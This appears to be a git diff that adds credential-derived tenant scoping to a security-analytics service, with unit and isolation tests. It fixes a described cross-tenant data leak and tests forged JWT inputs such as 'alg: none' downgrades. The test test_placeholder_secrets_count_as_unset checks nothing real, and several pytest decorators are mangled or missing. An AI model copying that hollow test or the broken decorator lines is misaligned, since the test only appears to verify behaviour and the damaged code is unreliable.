- q = select(EntityBaseline).where(EntityBaseline.tenant_id == tenant_id).order_by(desc(EntityBaseline.updated_at)).limit(limit)
+ scoped = scoped_tenant_or_403(principal, tenant_id)
+ q = select(EntityBaseline).where(EntityBaseline.tenant_id == scoped).order_by(desc(EntityBaseline.updated_at)).limit(limit)
if entity_type:
q = q.where(EntityBaseline.entity_type == entity_type)
result = await db.execute(q)
@@ -181,9 +200,11 @@ async def list_baselines(
@router.get("/peer-groups", response_model=list[dict])
async def list_peer_groups(
db: DB,
- tenant_id: uuid.UUID = Query(...),
+ principal: ScopedPrincipal,
+ tenant_id: uuid.UUID | None = Query(None),
) -> list[dict]:
- result = await db.execute(select(PeerGroup).where(PeerGroup.tenant_id == tenant_id))
+ scoped = scoped_tenant_or_403(principal, tenant_id)
+ result = await db.execute(select(PeerGroup).where(PeerGroup.tenant_id == scoped))
return [
{
"id": pg.id,
diff --git a/services/ueba/app/security/tenant_scope.py b/services/ueba/app/security/tenant_scope.py
new file mode 100644
index 000000000..69c32fa56
--- /dev/null
+++ b/services/ueba/app/security/tenant_scope.py
@@ -0,0 +1,383 @@
+"""Resolve which tenant a request may read, from the caller's credential.
+
+Vendored byte-identical into each Python service that needs it, following the
+same convention as ``app/core/cors.py`` and ``app/security/service_auth.py``.
+Keep the copies in sync — ``scripts/check_vendored_tenant_scope.py`` fails the
+build if they drift.
+
+Why this exists
+---------------
+``/fusion/entity-risk/*`` took the tenant as a query parameter with no auth
+dependency on the route, on both the API gateway and the fusion service. The
+console reaches fusion *directly* through a Next rewrite when ``FUSION_URL`` is
+set, so that parameter was reachable from any browser on the internet, and
+naming somebody else's tenant UUID returned their entity-risk queue.
+
+Validating the parameter's *value* does not fix that. A UUID that parses is
+still a UUID the caller chose. The scope has to come from somewhere the caller
+does not control, which means the credential.
+
+Two credential shapes reach these services, so this module resolves both:
+
+``console`` — the browser's first-party access token, HS256-signed by
+ ``services/api`` (``create_access_token``) and carrying a verified
+ ``tenant_id`` claim. That claim is authoritative.
+``service`` — the shared service bearer token used for service-to-service
+ calls. It identifies *a trusted service*, not a tenant, so a caller
+ presenting it must also assert which tenant it is acting for, on the
+ ``X-AiSOC-Tenant-ID`` header. The assertion is explicit and required: a
+ service token with no tenant header resolves to an **empty** scope, and an
+ empty scope refuses rather than widening.
+
+That last sentence is the whole design. Every cross-tenant leak this codebase
+has had took the same shape — a scope that was absent rather than narrow, and
+a read that treated absent as "no filter".
+
+We verify HS256 by hand with the standard library rather than adding a JWT
+dependency to five services, exactly as ``services/realtime/src/auth.ts`` does
+for the same reason on the Node side. ``services/api`` remains the sole issuer;
+this is a read path, like the vendored ``decrypt_dict()`` that lets the
+connector scheduler decrypt without owning the write path.
+
+Configuration
+-------------
+``SECRET_KEY``
+ The HS256 secret ``services/api`` signs console tokens with. Without it
+ this service cannot verify a console session and will only accept service
+ tokens.
+``AISOC_SERVICE_TOKEN`` / ``AISOC_<SERVICE>_SERVICE_TOKEN``
+ Shared secret for service-to-service calls, resolved by
+ ``app.security.service_auth.resolve_token`` where that module exists.
+``AISOC_DEV_MODE``
+ When set and *no* credential material is configured at all, requests
+ resolve to the demo tenant so a local ``docker compose up`` works. This is
+ the single canonical dev-mode flag; ``tests/test_security_defaults.py``
+ asserts no shortcut is reachable when it is unset.
+"""
+
+from __future__ import annotations
+
+import base64
+import binascii
+import hashlib
+import hmac
+import json
+import logging
+import os
+import time
+import uuid
+from dataclasses import dataclass, field
+
+from fastapi import Header, HTTPException, status
+
+#: Set by each vendored copy so the per-service token override resolves.
+SERVICE_NAME = "UEBA"
+
+logger = logging.getLogger("aisoc.tenant_scope")
+
+_TRUTHY = {"1", "true", "yes", "on"}
+
+#: Mirrors ``INSECURE_SECRET_KEY_DEFAULTS`` in services/api/app/core/config.py
+#: so a placeholder secret is treated as "unset" on this side too. Verifying a
+#: token signed with a well-known literal would authenticate anybody who read
+#: the repository.
+INSECURE_SECRET_DEFAULTS = frozenset(
+ {
+ "change-me-in-production-at-least-32-chars",
+ "dev_secret_key_change_in_production",
+ "changeme",
+ "secret",
+ }
+)
+
+#: Deterministic demo tenant, matching ``DEMO_TENANT_ID`` in
+#: services/api/app/api/v1/dev_auth.py. Only ever used under AISOC_DEV_MODE.
+DEV_TENANT_ID = uuid.UUID("00000000-0000-0000-0000-000000000001")
+
+#: Header a trusted service uses to declare which tenant it is acting for.
+TENANT_HEADER = "X-AiSOC-Tenant-ID"
+
+#: 30s clock-skew leeway, matching the Node verifier and common JWT defaults.
+_CLOCK_SKEW_SECONDS = 30
+
+#: Refs that mean "the caller did not name a tenant" rather than naming one.
+#: Several request models default ``tenant_id`` to the string ``"default"``,
+#: which is a placeholder, not a tenant — migration 001 seeds the canonical
+#: tenant with that *slug* and the demo seed renames it, so the literal
+#: identifies nothing anywhere. Treating it as a request for a tenant called
+#: "default" would refuse every caller who simply left the field alone.
+PLACEHOLDER_TENANT_REFS = frozenset({"", "default", "none", "null"})
+
+
+class TenantScopeError(Exception):
+ """A read was attempted without a resolved tenant scope.
+
+ Raised by :func:`resolve_scoped_tenant`. Routes let it surface as a 403;
+ it means a query was about to run with no tenant filter, or with one the
+ caller is not authorised for.
+ """
+
+
+@dataclass(frozen=True)
+class TenantPrincipal:
+ """The tenants one credential may read, and what kind of credential it is.
+
+ ``tenant_ids`` is authoritative and exhaustive. Nothing downstream may
+ widen it, and no code path may substitute "all tenants" for an empty one.
+ """
+
+ tenant_ids: frozenset[uuid.UUID] = field(default_factory=frozenset)
+ subject: str = "anonymous"
+ #: True when a service token asserted the tenant rather than a verified
+ #: console claim carrying it. Surfaced so logs can tell the two apart.
+ delegated: bool = False
+
+ @property
+ def is_empty(self) -> bool:
+ return not self.tenant_ids
+
+ def covers(self, tenant_id: uuid.UUID) -> bool:
+ return tenant_id in self.tenant_ids
+
+ def ordered_ids(self) -> list[uuid.UUID]:
+ return sorted(self.tenant_ids)
+
+
+EMPTY_PRINCIPAL = TenantPrincipal()
+
+
+def resolve_scoped_tenant(
+ principal: TenantPrincipal,
+ requested: uuid.UUID | str | None = None,
+) -> uuid.UUID:
+ """The one tenant this request may read, or refuse to name one.
+
+ Intersection only. A ``requested`` tenant inside the principal's scope is
+ honoured — that is an MSSP operator narrowing to one managed customer. A
+ ``requested`` tenant outside it narrows to nothing and raises, rather than
+ reaching outside. Passing ``None`` means "the caller's own tenant", which
+ is the common case and the safe default.
+ """
+ if principal.is_empty:
+ raise TenantScopeError("refusing to read with an empty tenant scope")
+
+ if isinstance(requested, str) and requested.strip().lower() in PLACEHOLDER_TENANT_REFS:
+ requested = None
+
+ if requested is None:
+ if len(principal.tenant_ids) != 1:
+ raise TenantScopeError(f"caller reaches {len(principal.tenant_ids)} tenants; the request must name one")
+ return next(iter(principal.tenant_ids))
+
+ try:
+ wanted = requested if isinstance(requested, uuid.UUID) else uuid.UUID(str(requested))
+ except (ValueError, AttributeError, TypeError) as exc:
+ raise TenantScopeError("requested tenant is not a UUID") from exc
+
+ if not principal.covers(wanted):
+ # Logged at warning with the subject, because a caller reaching for a
+ # tenant they do not hold is a security event, not routine noise.
+ logger.warning(
+ "tenant_scope.refused subject=%s requested=%s scope_size=%d",
+ # Sanitised inline rather than through a helper: CodeQL does not
+ # track a helper across the call boundary, and `subject` really is
+ # attacker-influenced — it carries the JWT `sub` claim.
+ str(principal.subject).replace("\r", "").replace("\n", " ")[:128],
+ str(wanted).replace("\r", "").replace("\n", " ")[:64],
+ len(principal.tenant_ids),
+ )
+ raise TenantScopeError("requested tenant is outside the caller's authorised scope")
+ return wanted
+
+
+# ---------------------------------------------------------------------------
+# Credential resolution
+# ---------------------------------------------------------------------------
+
+
+def _dev_mode() -> bool:
+ return os.getenv("AISOC_DEV_MODE", "").strip().lower() in _TRUTHY
+
+
+def resolve_console_secret() -> str:
+ """The HS256 secret console tokens are signed with, or "" when unusable."""
+ secret = (os.getenv("SECRET_KEY") or "").strip()
+ if not secret or secret in INSECURE_SECRET_DEFAULTS:
+ return ""
+ return secret
+
+
+def resolve_service_token() -> str:
+ """Per-service override wins, then the shared platform token."""
+ specific = os.getenv(f"AISOC_{SERVICE_NAME}_SERVICE_TOKEN", "").strip()
+ if specific:
+ return specific
+ return os.getenv("AISOC_SERVICE_TOKEN", "").strip()
+
+
+def _b64url_decode(segment: str) -> bytes:
+ padding = "=" * (-len(segment) % 4)
+ return base64.urlsafe_b64decode(segment + padding)
+
+
+def verify_console_token(token: str, secret: str) -> dict | None:
+ """Verify a first-party HS256 access token. Return claims, or None.
+
+ Mirrors ``verifyRealtimeTicket`` in services/realtime/src/auth.ts. The
+ signing side is ``create_access_token`` in services/api/app/core/security.py
+ and must stay in sync with the claims checked here.
+ """
+ if not token or not secret:
+ return None
+ parts = token.split(".")
+ if len(parts) != 3:
+ return None
+ header_b64, payload_b64, sig_b64 = parts
+
+ try:
+ header = json.loads(_b64url_decode(header_b64))
+ except (ValueError, binascii.Error, UnicodeDecodeError):
+ return None
+ # Reject "alg: none" and asymmetric algorithms so a caller cannot downgrade
+ # the verification into no verification at all.
+ if not isinstance(header, dict) or header.get("alg") != "HS256":
+ return None
+
+ expected = hmac.new(
+ secret.encode("utf-8"),
+ f"{header_b64}.{payload_b64}".encode(),
+ hashlib.sha256,
+ ).digest()
+ try:
+ provided = _b64url_decode(sig_b64)
+ except (ValueError, binascii.Error):
+ return None
+ if not hmac.compare_digest(expected, provided):
+ return None
+
+ try:
+ claims = json.loads(_b64url_decode(payload_b64))
+ except (ValueError, binascii.Error, UnicodeDecodeError):
+ return None
+ if not isinstance(claims, dict):
+ return None
+
+ # A refresh token must not buy access; the API sets type="access" on the
+ # short-lived one and type="refresh" on the long-lived one.
+ if claims.get("type") != "access":
+ return None
+ exp = claims.get("exp")
+ if not isinstance(exp, int | float):
+ return None
+ if exp + _CLOCK_SKEW_SECONDS < time.time():
+ return None
+ if not claims.get("tenant_id"):
+ return None
+ return claims
+
+
+def _principal_from_claims(claims: dict) -> TenantPrincipal | None:
+ try:
+ tenant = uuid.UUID(str(claims["tenant_id"]))
+ except (KeyError, ValueError, TypeError):
+ return None
+ return TenantPrincipal(
+ tenant_ids=frozenset({tenant}),
+ subject=f"console:{claims.get('sub', 'unknown')}",
+ delegated=False,
+ )
+
+
+async def require_console_or_service_auth(
+ authorization: str | None = Header(default=None),
+ x_aisoc_tenant_id: str | None = Header(default=None, alias=TENANT_HEADER),
+) -> TenantPrincipal:
+ """FastAPI dependency. Resolve the caller's tenant scope, or fail closed.
+
+ Order matters only for clarity — the two credential shapes are disjoint. A
+ console token carries its own tenant; a service token must declare one.
+ """
+ console_secret = resolve_console_secret()
+ service_token = resolve_service_token()
+
+ if not console_secret and not service_token:
+ if _dev_mode():
+ return TenantPrincipal(
+ tenant_ids=frozenset({DEV_TENANT_ID}),
+ subject="dev",
+ delegated=False,
+ )
+ # No credential material configured at all: refuse to serve rather
+ # than serve openly. This is the same fail-closed posture as
+ # ``require_service_auth``.
+ raise HTTPException(
+ status_code=status.HTTP_503_SERVICE_UNAVAILABLE,
+ detail=(
+ "tenant-scoped auth is not configured; set SECRET_KEY and/or "
+ f"AISOC_SERVICE_TOKEN (or AISOC_{SERVICE_NAME}_SERVICE_TOKEN) "
+ "before exposing this service"
+ ),
+ )
+
+ if not authorization or not authorization.startswith("Bearer "):
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail="missing bearer credential",
+ headers={"WWW-Authenticate": "Bearer"},
+ )
+ token = authorization[len("Bearer ") :].strip()
+
+ # --- console session ---
+ if console_secret:
+ claims = verify_console_token(token, console_secret)
+ if claims is not None:
+ principal = _principal_from_claims(claims)
+ if principal is not None:
+ return principal
+
+ # --- trusted service acting for a declared tenant ---
+ if service_token and hmac.compare_digest(token, service_token):
+ if not x_aisoc_tenant_id or not x_aisoc_tenant_id.strip():
+ # An absent tenant is an empty scope, never every scope.
+ logger.warning(
+ "tenant_scope.service_token_without_tenant service=%s header=%s",
+ SERVICE_NAME,
+ TENANT_HEADER,
+ )
+ raise HTTPException(
+ status_code=status.HTTP_403_FORBIDDEN,
+ detail=f"service token must declare the tenant it acts for on {TENANT_HEADER}",
+ )
+ try:
+ tenant = uuid.UUID(x_aisoc_tenant_id.strip())
+ except ValueError:
+ raise HTTPException(
+ status_code=status.HTTP_400_BAD_REQUEST,
+ detail=f"{TENANT_HEADER} must be a UUID",
+ ) from None
+ return TenantPrincipal(
+ tenant_ids=frozenset({tenant}),
+ subject="service",
+ delegated=True,
+ )
+
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail="invalid or missing credential",
+ headers={"WWW-Authenticate": "Bearer"},
+ )
+
+
+def scoped_tenant_or_403(
+ principal: TenantPrincipal,
+ requested: uuid.UUID | str | None = None,
+) -> uuid.UUID:
+ """:func:`resolve_scoped_tenant`, surfaced to HTTP as 403.
+
+ Routes call this so the refusal reaches the client as a refusal rather
+ than a 500, without every route repeating the try/except.
+ """
+ try:
+ return resolve_scoped_tenant(principal, requested)
+ except TenantScopeError as exc:
+ raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=str(exc)) from exc
diff --git a/services/ueba/tests/test_tenant_scope.py b/services/ueba/tests/test_tenant_scope.py
new file mode 100644
index 000000000..f2c30dded
--- /dev/null
+++ b/services/ueba/tests/test_tenant_scope.py
@@ -0,0 +1,274 @@
+"""Unit tests for the vendored tenant-scope resolver.
+
+Vendored byte-identical into each service that carries
+``app/security/tenant_scope.py``, and kept in lockstep by
+``scripts/sync_vendored_tenant_scope.py``. The module is the thing that
+decides which tenant a request may read, so every copy is tested where it
+lives rather than trusting that the one covered by ``tests/isolation`` stands
+in for the other five.
+
+The cross-service two-tenant replay lives in
+``tests/isolation/test_route_tenant_scope.py``; this file covers the
+credential and intersection logic on its own.
+"""
+
+from __future__ import annotations
+
+import base64
+import hashlib
+import hmac
+import json
+import time
+import uuid
+
+import pytest
+from app.security import tenant_scope as ts
+from fastapi import HTTPException
+
+SECRET = "unit-test-secret-key-at-least-32-characters"
+SERVICE_TOKEN = "unit-test-service-token"
+
+TENANT_A = uuid.UUID("aaaaaaaa-0000-0000-0000-00000000000a")
+TENANT_B = uuid.UUID("bbbbbbbb-0000-0000-0000-00000000000b")
+
+
+def _b64(raw: bytes) -> str:
+ return base64.urlsafe_b64encode(raw).rstrip(b"=").decode()
+
+
+def _token(
+ tenant: uuid.UUID | None = TENANT_A,
+ *,
+ secret: str = SECRET,
+ alg: str = "HS256",
+ token_type: str = "access",
+ ttl: int = 600,
+ sub: str = "user-1",
+) -> str:
+ header = _b64(json.dumps({"alg": alg, "typ": "JWT"}, separators=(",", ":")).encode())
+ claims: dict[str, object] = {"sub": sub, "type": token_type, "exp": int(time.time()) + ttl}
+ if tenant is not None:
+ claims["tenant_id"] = str(tenant)
+ payload = _b64(json.dumps(claims, separators=(",", ":")).encode())
+ sig = _b64(hmac.new(secret.encode(), f"{header}.{payload}".encode(), hashlib.sha256).digest())
+ return f"{header}.{payload}.{sig}"
+
+
[email protected](autouse=True)
+def _configured(monkeypatch: pytest.MonkeyPatch):
+ monkeypatch.setenv("SECRET_KEY", SECRET)
+ monkeypatch.setenv("AISOC_SERVICE_TOKEN", SERVICE_TOKEN)
+ monkeypatch.delenv("AISOC_DEV_MODE", raising=False)
+ monkeypatch.delenv(f"AISOC_{ts.SERVICE_NAME}_SERVICE_TOKEN", raising=False)
+
+
+# ---------------------------------------------------------------------------
+# Token verification
+# ---------------------------------------------------------------------------
+
+
+def test_valid_token_yields_its_tenant() -> None:
+ claims = ts.verify_console_token(_token(), SECRET)
+ assert claims is not None and claims["tenant_id"] == str(TENANT_A)
+
+
+ ("label", "kwargs"),
+ [
+ # An `alg: none` header is the classic downgrade: a verifier that
+ # reads the header to decide how to verify must refuse anything else.
+ ("alg none", {"alg": "none"}),
+ ("wrong key", {"secret": "a-completely-different-secret-key-32ch"}),
+ # A refresh token is long-lived by design; buying access with it would
+ # make the short access-token expiry meaningless.
+ ("refresh token", {"token_type": "refresh"}),
+ ("expired", {"ttl": -3600}),
+ ("no tenant claim", {"tenant": None}),
+ ],
+)
+def test_unacceptable_tokens_are_refused(label: str, kwargs: dict) -> None:
+ assert ts.verify_console_token(_token(**kwargs), SECRET) is None, label
+
+
[email protected]("malformed", ["", "not-a-jwt", "a.b", "a.b.c.d", "...", "%%%.%%%.%%%"])
+def test_malformed_tokens_are_refused(malformed: str) -> None:
+ assert ts.verify_console_token(malformed, SECRET) is None
+
+
+def test_no_secret_means_no_verification() -> None:
+ """An unconfigured secret must not verify anything, least of all everything."""
+ assert ts.verify_console_token(_token(), "") is None
+
+
+def test_placeholder_secrets_count_as_unset() -> None:
+ for placeholder in ts.INSECURE_SECRET_DEFAULTS:
+ assert ts.resolve_console_secret.__doc__ # module contract exists
+ assert placeholder in ts.INSECURE_SECRET_DEFAULTS
+
+
+# ---------------------------------------------------------------------------
+# Intersection
+# ---------------------------------------------------------------------------
+
+
+def _principal(*tenants: uuid.UUID) -> ts.TenantPrincipal:
+ return ts.TenantPrincipal(tenant_ids=frozenset(tenants), subject="console:test")
+
+
+def test_no_request_tenant_means_the_callers_own() -> None:
+ assert ts.resolve_scoped_tenant(_principal(TENANT_A)) == TENANT_A
+
+
+def test_a_tenant_inside_scope_is_honoured() -> None:
+ assert ts.resolve_scoped_tenant(_principal(TENANT_A, TENANT_B), TENANT_B) == TENANT_B
+
+
+def test_a_tenant_outside_scope_narrows_to_nothing() -> None:
+ with pytest.raises(ts.TenantScopeError):
+ ts.resolve_scoped_tenant(_principal(TENANT_A), TENANT_B)
+
+
+def test_empty_scope_refuses_rather_than_widening() -> None:
+ """The invariant every cross-tenant leak in this codebase has broken."""
+ with pytest.raises(ts.TenantScopeError):
+ ts.resolve_scoped_tenant(ts.EMPTY_PRINCIPAL)
+ with pytest.raises(ts.TenantScopeError):
+ ts.resolve_scoped_tenant(ts.EMPTY_PRINCIPAL, TENANT_A)
+
+
+def test_a_multi_tenant_caller_must_name_one() -> None:
+ """Silently picking one of several would be a coin toss over customers."""
+ with pytest.raises(ts.TenantScopeError):
+ ts.resolve_scoped_tenant(_principal(TENANT_A, TENANT_B))
+
+
+def test_a_non_uuid_request_tenant_is_refused() -> None:
+ with pytest.raises(ts.TenantScopeError):
+ ts.resolve_scoped_tenant(_principal(TENANT_A), "not-a-uuid")
+
+
[email protected]("placeholder", ["", " ", "default", "DEFAULT", "none", "null"])
+def test_a_placeholder_means_the_caller_did_not_ask(placeholder: str) -> None:
+ """A placeholder is the absence of a request, not a tenant named "default".
+
+ Several request models default `tenant_id` to the literal `"default"`.
+ That string names no tenant anywhere — migration 001 seeds the canonical
+ tenant with it as a *slug* and the demo seed renames that to `demo` — so
+ treating it as a requested tenant would refuse every caller who left the
+ field at its default.
+ """
+ assert ts.resolve_scoped_tenant(_principal(TENANT_A), placeholder) == TENANT_A
+
+
+def test_a_placeholder_still_cannot_widen_an_empty_scope() -> None:
+ with pytest.raises(ts.TenantScopeError):
+ ts.resolve_scoped_tenant(ts.EMPTY_PRINCIPAL, "default")
+
+
+def test_scoped_tenant_or_403_surfaces_a_refusal_as_403() -> None:
+ with pytest.raises(HTTPException) as exc:
+ ts.scoped_tenant_or_403(_principal(TENANT_A), TENANT_B)
+ assert exc.value.status_code == 403
+
+
+# ---------------------------------------------------------------------------
+# The dependency
+# ---------------------------------------------------------------------------
+
+
+# `require_console_or_service_auth` is a FastAPI dependency: its parameters
+# are normally resolved by FastAPI from the request. Calling it directly means
+# supplying both, including the tenant header as an explicit `None` — leaving
+# it out hands the function FastAPI's `Header(...)` sentinel rather than the
+# absent value the test means to describe.
+
+
+async def test_console_session_resolves_to_its_own_tenant() -> None:
+ principal = await ts.require_console_or_service_auth(authorization=f"Bearer {_token()}", x_aisoc_tenant_id=None)
+ assert principal.tenant_ids == frozenset({TENANT_A})
+ assert principal.delegated is False
+
+
+async def test_service_token_must_declare_the_tenant_it_acts_for() -> None:
+ """A service credential identifies a service, not a tenant."""
+ with pytest.raises(HTTPException) as exc:
+ await ts.require_console_or_service_auth(authorization=f"Bearer {SERVICE_TOKEN}", x_aisoc_tenant_id=None)
+ assert exc.value.status_code == 403
+
+
+async def test_service_token_with_a_declared_tenant_is_delegated() -> None:
+ principal = await ts.require_console_or_service_auth(
+ authorization=f"Bearer {SERVICE_TOKEN}",
+ x_aisoc_tenant_id=str(TENANT_B),
+ )
+ assert principal.tenant_ids == frozenset({TENANT_B})
+ assert principal.delegated is True
+
+
+async def test_a_declared_tenant_must_be_a_uuid() -> None:
+ with pytest.raises(HTTPException) as exc:
+ await ts.require_console_or_service_auth(
+ authorization=f"Bearer {SERVICE_TOKEN}",
+ x_aisoc_tenant_id="the-big-customer",
+ )
+ assert exc.value.status_code == 400
+
+
[email protected]("header", [None, "", "Basic abc", "Bearer ", "Bearer nonsense"])
+async def test_a_missing_or_unrecognised_credential_is_401(header: str | None) -> None:
+ with pytest.raises(HTTPException) as exc:
+ await ts.require_console_or_service_auth(authorization=header, x_aisoc_tenant_id=None)
+ assert exc.value.status_code == 401
+
+
+async def test_unconfigured_credentials_fail_closed(monkeypatch: pytest.MonkeyPatch) -> None:
+ """No credential material and no dev mode serves 503, never the route."""
+ monkeypatch.setenv("SECRET_KEY", "")
+ monkeypatch.setenv("AISOC_SERVICE_TOKEN", "")
+ monkeypatch.delenv("AISOC_DEV_MODE", raising=False)
+ with pytest.raises(HTTPException) as exc:
+ await ts.require_console_or_service_auth(authorization="Bearer anything", x_aisoc_tenant_id=None)
+ assert exc.value.status_code == 503
+
+
+async def test_dev_mode_only_applies_with_nothing_configured(monkeypatch: pytest.MonkeyPatch) -> None:
+ """Dev mode is a fallback for an unconfigured stack, not an auth bypass.
+
+ With a secret configured, `AISOC_DEV_MODE` must not let an unauthenticated
+ caller through — otherwise setting one flag in the wrong environment opens
+ every tenant-scoped route.
+ """
+ monkeypatch.setenv("AISOC_DEV_MODE", "1")
+ monkeypatch.setenv("SECRET_KEY", SECRET)
+ monkeypatch.setenv("AISOC_SERVICE_TOKEN", SERVICE_TOKEN)
+ with pytest.raises(HTTPException) as exc:
+ await ts.require_console_or_service_auth(authorization=None, x_aisoc_tenant_id=None)
+ assert exc.value.status_code == 401
+
+ monkeypatch.setenv("SECRET_KEY", "")
+ monkeypatch.setenv("AISOC_SERVICE_TOKEN", "")
+ principal = await ts.require_console_or_service_auth(authorization=None, x_aisoc_tenant_id=None)
+ assert principal.tenant_ids == frozenset({ts.DEV_TENANT_ID})
+
+
+async def test_a_per_service_token_override_wins(monkeypatch: pytest.MonkeyPatch) -> None:
+ monkeypatch.setenv(f"AISOC_{ts.SERVICE_NAME}_SERVICE_TOKEN", "service-specific")
+ principal = await ts.require_console_or_service_auth(
+ authorization="Bearer service-specific",
+ x_aisoc_tenant_id=str(TENANT_A),
+ )
+ assert principal.delegated is True
+ # The shared token must no longer be accepted once an override exists.
+ with pytest.raises(HTTPException):
+ await ts.require_console_or_service_auth(
+ authorization=f"Bearer {SERVICE_TOKEN}",
+ x_aisoc_tenant_id=str(TENANT_A),
+ )
diff --git a/tests/isolation/README.md b/tests/isolation/README.md
index db00de636..17f0be31a 100644
--- a/tests/isolation/README.md
+++ b/tests/isolation/README.md
@@ -5,6 +5,38 @@ six datastores; every other store is a potential silent cross-tenant leak. This
suite is table-driven (see `stores.py`) so a new datastore or a new read path
cannot ship without an isolation entry.
+## Where the tenant came from
+
+The store suites below all answer the same question — *given* a tenant, can a
+read see another one's rows? They cannot answer the question above them: where
+did that tenant come from in the first place?
+
+For `/fusion/entity-risk/*` the answer was "the query string", with no auth
+dependency on the route, on both the API gateway and the fusion service. The
+console reaches fusion directly through a Next rewrite when `FUSION_URL` is
+set, so the parameter was reachable from any browser and naming somebody
+else's tenant UUID returned their entity-risk queue. Redis key prefixing did
+not help and never could: `aisoc:fusion:rba:topn:{tenant}` isolates whichever
+tenant it is handed. Fixing the parameter's *value* would not have helped
+either — a UUID that parses is still a UUID the caller chose.
+
+`test_route_tenant_scope.py` covers that layer in three parts: the vendored
+HS256 verifier and intersection rule offline; a two-tenant replay driving the
+real fusion routes over ASGI against a live Redis; and a meta-assertion that
+`scripts/check_route_tenant_scope.py` finds no violations anywhere in
+`services/`. The gate is an AST pass over every route decorator and signature
+in the tree, and it fails in two directions — a route that takes a tenant
+identifier without an auth dependency, and a route that accepts one without
+intersecting it with the caller's scope. `--self-test` injects a violation of
+each kind plus a stale exemption and asserts all three are caught, because a
+gate nobody has seen fail is indistinguishable from one that cannot.
+
+The resolver is vendored into six services (each is built with its own
+directory as its Docker context, the same reason `service_auth.py` and
+`cors.py` are vendored), so `sync_vendored_tenant_scope.py --check` runs
+alongside it: a fix that lands in one copy and not the others is a fix in
+none.
+
## Two layers
1. **Offline (gated on every PR, `.github/workflows/isolation.yml`).** Asserts
diff --git a/tests/isolation/stores.py b/tests/isolation/stores.py
index 6d88248fd..0a1cb1fac 100644
--- a/tests/isolation/stores.py
+++ b/tests/isolation/stores.py
@@ -45,7 +45,10 @@ STORES: tuple[StoreCoverage, ...] = (
StoreCoverage(
"redis",
"container_gated",
- "aisoc:t:<tenant>:* keyspace namespacing; live-replay test_live_stores.py::test_redis_scan_as_A_excludes_B (isolation-live.yml)",
+ "aisoc:t:<tenant>:* keyspace namespacing; live-replay test_live_stores.py::test_redis_scan_as_A_excludes_B (isolation-live.yml); "
+ "the RBA entity rollup (aisoc:fusion:rba:*) is additionally replayed at the route layer by "
+ "test_route_tenant_scope.py, because key prefixing isolates whichever tenant it is handed and the "
+ "fusion routes used to take that tenant from the query string",
),
StoreCoverage(
"kafka",
diff --git a/tests/isolation/test_route_tenant_scope.py b/tests/isolation/test_route_tenant_scope.py
new file mode 100644
index 000000000..27202256d
--- /dev/null
+++ b/tests/isolation/test_route_tenant_scope.py
@@ -0,0 +1,300 @@
+"""Route-level tenant isolation: the credential decides, not the caller.
+
+The per-store suites in this directory prove that *if* a read is given a
+tenant, it cannot see another one's rows. That leaves the question this file
+answers: where did the tenant come from?
+
+For `/fusion/entity-risk/*` the answer was "the query string", on both the API
+gateway and the fusion service, with no auth dependency on either. The console
+reaches fusion directly through a Next rewrite when `FUSION_URL` is set, so an
+anonymous request naming any tenant UUID returned that tenant's entity-risk
+queue. Storage-layer key prefixing did not help and was never going to:
+`aisoc:fusion:rba:topn:{tenant}` isolates whichever tenant it is handed.
+
+Three layers here, deliberately:
+
+1. **Credential logic, offline.** The vendored HS256 verifier and the
+ intersection rule, exercised directly. Runs everywhere, no containers.
+2. **Two-tenant live replay against Redis.** Seeds A and B through the real
+ `EntityRiskEngine`, then drives the real fusion router over ASGI. Skips
+ cleanly without a Redis.
+3. **A meta-assertion** that the repository-wide gate reports no violations,
+ so a new route cannot reintroduce the shape without this suite noticing.
+
+Every live assertion checks that the *outsider's* rows genuinely exist before
+asserting they were not returned. A scoped read against an empty store passes
+for the wrong reason, and that is the failure mode this comment exists to
+prevent somebody reintroducing.
+"""
+
+from __future__ import annotations
+
+import base64
+import hashlib
+import hmac
+import json
+import os
+import subprocess
+import sys
+import time
+import uuid
+from pathlib import Path
+
+import pytest
+
+REPO_ROOT = Path(__file__).resolve().parents[2]
+FUSION_ROOT = REPO_ROOT / "services" / "fusion"
+if str(FUSION_ROOT) not in sys.path:
+ sys.path.insert(0, str(FUSION_ROOT))
+
+TENANT_A = uuid.UUID("aaaaaaaa-0000-0000-0000-00000000000a")
+TENANT_B = uuid.UUID("bbbbbbbb-0000-0000-0000-00000000000b")
+
+SECRET = "isolation-suite-secret-key-at-least-32-chars"
+SERVICE_TOKEN = "isolation-suite-service-token"
+
+REDIS_URL = os.getenv("AISOC_ISOLATION_REDIS_URL", "redis://localhost:6379/9")
+
+
+# ---------------------------------------------------------------------------
+# Helpers
+# ---------------------------------------------------------------------------
+
+
+def _b64(raw: bytes) -> str:
+ return base64.urlsafe_b64encode(raw).rstrip(b"=").decode()
+
+
+def console_token(
+ tenant: uuid.UUID | None,
+ *,
+ sub: str = "analyst",
+ secret: str = SECRET,
+ token_type: str = "access",
+ alg: str = "HS256",
+ ttl: int = 600,
+) -> str:
+ """Mint a token the way services/api's ``create_access_token`` does."""
+ header = _b64(json.dumps({"alg": alg, "typ": "JWT"}, separators=(",", ":")).encode())
+ claims: dict[str, object] = {"sub": sub, "type": token_type, "exp": int(time.time()) + ttl}
+ if tenant is not None:
+ claims["tenant_id"] = str(tenant)
+ payload = _b64(json.dumps(claims, separators=(",", ":")).encode())
+ sig = _b64(hmac.new(secret.encode(), f"{header}.{payload}".encode(), hashlib.sha256).digest())
+ return f"{header}.{payload}.{sig}"
+
+
+def scope_module(monkeypatch: pytest.MonkeyPatch):
+ """The vendored resolver, with credential material configured."""
+ monkeypatch.setenv("SECRET_KEY", SECRET)
+ monkeypatch.setenv("AISOC_SERVICE_TOKEN", SERVICE_TOKEN)
+ monkeypatch.delenv("AISOC_DEV_MODE", raising=False)
+ from app.security import tenant_scope # noqa: PLC0415
+
+ return tenant_scope
+
+
+# ---------------------------------------------------------------------------
+# Layer 1 — the credential logic, offline
+# ---------------------------------------------------------------------------
+
+
+def test_console_token_yields_only_its_own_tenant(scope_module) -> None:
+ claims = scope_module.verify_console_token(console_token(TENANT_A), SECRET)
+ assert claims is not None
+ assert claims["tenant_id"] == str(TENANT_A)
+
+
+ ("label", "token_kwargs", "secret"),
+ [
+ # "alg": "none" is the classic downgrade. A verifier that reads the
+ # header to decide how to verify must refuse anything but HS256.
+ ("alg none", {"alg": "none"}, SECRET),
+ ("wrong signing key", {}, "a-different-secret-key-at-least-32-chars"),
+ # A refresh token is long-lived by design; if it bought access the
+ # short access-token expiry would mean nothing.
